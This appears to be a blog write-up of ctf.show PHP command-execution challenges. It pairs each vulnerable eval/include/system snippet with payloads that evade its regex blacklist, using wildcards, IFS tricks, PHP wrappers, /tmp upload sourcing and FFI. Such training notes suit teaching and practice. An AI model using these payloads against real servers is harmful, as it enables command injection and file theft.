WEB入门——命令执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

特点:eval函数命令执行
难点:$c 不能匹配到大小写的flag
解决:
[[linux 通配符]]

?c=system('tac f*');

web30

error_reporting(0);  
if(isset($_GET['c'])){    $c = $_GET['c'];  
    if(!preg_match("/flag|system|php/i", $c)){  
        eval($c);  
    }  
      
}else{    highlight_file(__FILE__);  
}

特点:eval函数命令执行
难点:过滤了system
解决:
[[php 执行函数]]

?c=passthru('tac f*');

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

特点:eval函数命令执行
难点:过滤了空格、过滤了查看文件函数
解决:
[[linux 无空格绕过]]
[[linux 读取文件函数]]

?c=passthru("tac%09f*");

web32

error_reporting(0);  
if(isset($_GET['c'])){    $c = $_GET['c'];  
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){  
        eval($c);  
    }  
      
}else{    highlight_file(__FILE__);  
}

特点:eval函数命令执行
难点:过滤了分号
[[php 伪协议]]

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

特点:需要打出完整的flag

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

特点:include函数命令执行
解决:
[[php 伪协议]]

c=data://text/plain,<?php system("tac f*");?>

web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

特点:include函数命令执行
难点:过滤了php
解决:把php换成等号
短标签<?=

<?=是PHP短标签,等同于 <?php
从PHP 5.4开始,<?=总是可用,无需开启short_open_tag
?c=data://text/plain,<?= system("tac f*");?>

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

特点:include函数命令执行
难点:把$c."php"拼接了起来
解决:
但是还是可以用命令执行,因为在短标签里面进行了一个 已经闭合了所以不会受到.php的影响

data://text/plain

这样就相当于执行了php语句
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

?c=data://text/plain,<?= system("tac f*");?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

特点:eval函数命令执行
难点:过滤数字和特殊符号、过滤了中文的括号,没有过滤英文的()
解决:[[php 纯英文括号绕过]]

?c=print_r(scandir(current(localeconv())));
返回:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

详解:

localeconv() → 返回包含"."的数组
current() → 提取出"."
scandir(".") → 扫描当前目录
print_r() → 打印目录列表

flag.php在倒数第二位,然后用show_source输出

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
?c=show_source(next(array_reverse(scandir(getcwd()))));

详解:
php数组的内部指针默认在第一个元素

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

特点:eval函数命令执行
难点:
过滤了数字和字母(因为后面/i对大小写不敏感),并且不能用异或、取反、自增等操作(过滤$、+、-、^、~),但是可以用|(或)
[[或运算构造任意php函数]]

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:>/dev/null 2>&1,输入的内容会被丢弃
[[php 重定向]]

解决:
用;或||等进行分割

?c=tac flag.php||ls

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行

?c=tac flag.php||ls

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
解决:[[linux 通配符]]

?c=tac f*||ls

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤空格
解决:[[linux 无空格绕过]]

?c=tac%09f*||ls

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤了数字 $ *
解决:换一下通配符号
[[linux 通配符]]

?c=tac%09fla?.???||ls

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤了more less head sort tail等
解决:tac
[[linux 读取文件函数]]

?c=tac%09fla?.???||ls

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤了\x09和\x26
解决:[[linux 无空格绕过]]
还有别的替代方式
用<>

?c=tac<fla\g.php||
?c=tac<fla''g.php||
?c=tac<fla""g.php||

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤了tac
[[linux 读取文件函数]]

?c=nl<>fl\ag.php||ls

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤了<>
解决:用${IFS}

?c=nl${IFS}fl\ag.php||ls

用ls查看

?c=ls${IFS}/||ls

返回:

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

最终:

?c=nl${IFS}/fl\ag||ls

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:过滤了
换行符
不变

?c=nl${IFS}fl\ag.php||ls

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
解决:用rev函数
[[linux 读取文件函数]]

?c=rev${IFS}fla?.php

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:把字母过滤了
解决:[[linux 通配符]]
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

?c=/???/????64 ????.???

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:数字字母都过滤了
解决:
利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母

解释:在 Linux Shell 中直接运行

. /tmp/phpxxxxxx

表示在当前 shell 会话中执行 /tmp/phpxxxxxx 文件里的命令。

[[无字母数字的命令执行——tmp绕过]]

import requests
while True:
    url = 'http://617464c5-1e4b-4cd8-9ef1-adbb89037d3c.challenge.ctf.show/?c=. /???/????????[@-[]'
    flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")})
    if("ctf" in flag.text):
        print(flag.text)
        break

web57

//flag in 36.php 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

特点:system函数命令执行
难点:构造c=36,数字字母都过滤了
解决:用$和()构造数字

echo $(()) = 0
对其取反
echo $((~$(()))) = -1
取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上面的取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1

如果要构造36,只需要构造出-37然后对其进行取反即可
[[$和()来构造数字]]

print("$((~$(("+"$((~$(())))"*37+"))))")
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58-65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

特点:eval函数命令执行,POST
解决:[[php 读取文件函数]]

POST: c=show_source("flag.php");
POST: c=highlight_file("flag.php");
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

先查看文件

c=print_r(scandir("./"));
返回:
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
c=print_r(scandir("/"));
返回:
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

payload:

c=highlight_file('/flag.txt');

web68

猜是:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

打开就直接说

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

难点:把highlight_file、print_r给禁了
[[php 读取目录函数]]
print_r换var_dump

c=var_dump(scandir("./"));
返回:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

[[php 读取文件函数]]
highlight_file换require

c=require("/flag.txt");

web69

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

难点:highlight_file、print_r、var_dump给禁了
[[php 读取目录函数]]

c=$d=dir("/");while(false!==($f=$d->read())){echo$f."\n";}
返回:
srv usr root media .. lib sys var opt proc home bin dev mnt run sbin tmp etc . flag.txt .dockerenv
c=require("/flag.txt");

web70

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

依旧

c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}
c=require("/flag.txt");

web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

ob_get_contents:返回输出缓冲区的内容
ob_end_clean:清空(擦除)缓冲区并关闭输出缓冲
如果使用:

c=require("/flag.txt");
返回:
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????{????????-????-????-????-????????????} 你要上天吗?

[[php 劫持输出缓冲区]]
思路1:提前把缓冲区送出

c=include('/flag.txt');ob_flush();
c=include('/flag.txt');ob_end_flush();

思路2:提前终止程序

c=require("/flag.txt");exit();
c=include('/flag.txt');die();

web72

禁用函数open_basedir、disable functions
PHP 7.x GC (Garbage Collector) UAF (Use-After-Free) Exploit
[[UAF]]

web75

open_basedir 限制了访问路径,uaf脚本用不了,用mysql的load_file读取文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
    foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web77

利用的是PHP 7.4+的FFI特性,即外部函数接口特性,相关文档请查看PHP手册,这里我主要是对payload信息进行简单分析。
PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
先读文件:

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};die();
返回:
bin boot dev etc flag36x.txt home lib lib64 media mnt opt proc readflag root run sbin srv sys tmp usr var

尝试直接读取/flag36x.txt,访问1.txt后没有任何内容

c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();

尝试读取/readflag文件,成功读取,为ELF可执行文件

c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();

获取readflag文件分析
WEB入门——命令执行.png

通过执行readflag文件即可获取flag信息,访问/flag.txt

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

web118

[[测试字符白名单]]

import requests
url=''
for i in range(32,127):    #常见字符串范围37-127
    data={"code":f"{chr(i)}"}  # chr()-->将数字转为字符串
    r=requests.post(url=url,data=data).text
    if 'evil input' not in r:
        print(chr(i),end=' ')

WEB入门——命令执行-1.png
难点:只有大写字母和${}:?.~能通过
解决:
思路1:[[linux bash内置变量利用]]

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

思路2:php在tmp目录下产生临时文件的特性

import requests  
  
url='https://17ef02c4-8a01-481d-8bbe-ca676b4289c2.challenge.ctf.show/'  
while True:  
    payload={"code":". ${PWD:${#}:${##}}???${PWD:${#}:${##}}?????M???"} # . 等效与source 执行脚本,???/?????M??? --> tmp/php随机6位数,随机6位数用  
    command='cat f*'  
    file={"file":f"#!/bin/sh\n{command}"} # 【#!/bin/bash】代表php文件用,/bin/sh解释器运行  
    r=requests.post(url=url,files=file,data=payload, verify=False).text # 文件上传的post构造  
    if 'ctfshow' in r:  
        print(r)  
        break

web119

难点:在之前的基础上ban掉了PATH、BASH

${PWD:${#}:${#SHLVL}}  → /
${HOME:${#HOSTNAME}:${#SHLVL}} → c

思路1:构造:/bin/cat flag.php
可以构造成:/???/??t/ ????.??

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

思路2:构造:/bin/base64 flag.php

${#RANDOM} → 4或5,多试几次
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

控制长度
${HOME:${#HOSTNAME}:${#SHLVL}}特别占位置,于是想到找其他字母
构造:/bin/base64 flag.php

${#RANDOM} → 4或5,多试几次
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

web121

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
if(isset($_POST['code'])){    $code=$_POST['code'];  
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){      
        if(strlen($code)>65){  
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';  
        }  
        else{  
        echo '<div align="center">'.system($code).'</div>';  
        }  
    }  
    else{  
     echo '<div align="center">evil input</div>';  
    }  
}  
?>

难点:过滤了SHLVL
解决:用${##}替代
构造:/bin/base64 flag.php

${#RANDOM} → 4或5,多试几次
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

构造/bin/rev flag.php

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
if(isset($_POST['code'])){    $code=$_POST['code'];  
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){      
        if(strlen($code)>65){  
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';  
        }  
        else{  
        echo '<div align="center">'.system($code).'</div>';  
        }  
    }  
    else{  
     echo '<div align="center">evil input</div>';  
    }  
}  
  
?>

难点:PWD也禁用了
解决:

通过$?来实现的,$?是表示上一条命令执行结束后的传回值
通常0代表执行成功,非0代表执行有误

利用<A构造数字1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新

web124

<?php  
  
/*  
# -*- coding: utf-8 -*-  
# @Author: 收集自网络  
# @Date:   2020-09-16 11:25:09  
# @Last Modified by:   h1xa  
# @Last Modified time: 2020-10-06 14:04:45  
  
*/  
  
error_reporting(0);  
//听说你很喜欢数学,不知道你是否爱它胜过爱flag  
if(!isset($_GET['c'])){
	show_source(__FILE__); 
}else{    
    //例子 c=20-1    $content = $_GET['c'];  
    if (strlen($content) >= 80) {  
        die("太长了不会算");  
    }    
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];  
    foreach ($blacklist as $blackitem) {  
        if (preg_match('/' . $blackitem . '/m', $content)) {  
            die("请不要输入奇奇怪怪的字符");  
        }  
    }    
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp    
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; 
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);    
    foreach ($used_funcs[0] as $func) {  
        if (!in_array($func, $whitelist)) {  
            die("请不要输入奇奇怪怪的函数");  
        }  
    }    
    //帮你算出答案    
    eval('echo '.$content.';');  
}

进制转换函数

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php

1.base_convert(37907361743,10,36)得到字符串 hex2bin
2.dechex(1598506324)得到十六进制字符串 5f474554
3.hex2bin("5f474554") 得到字符串_GET
4.动态变量:$$pi${$pi} → ${"_GET"} → $_GET
5.$_GET{'sin'} 等价于 $_GET['sin']
6.拼凑
$_GET['sin'] = "system"
$_GET['cos'] = "tac flag.php"
相当于:

system("tac flag.php");

加密_GET过程:
1.字符串转化十六进制字符串:_GET5f474554
2.十六进制字符串转化数字5f4745541598506324

posted @ 2026-06-12 20:29  Cava1i  阅读(10)  评论(0)    收藏  举报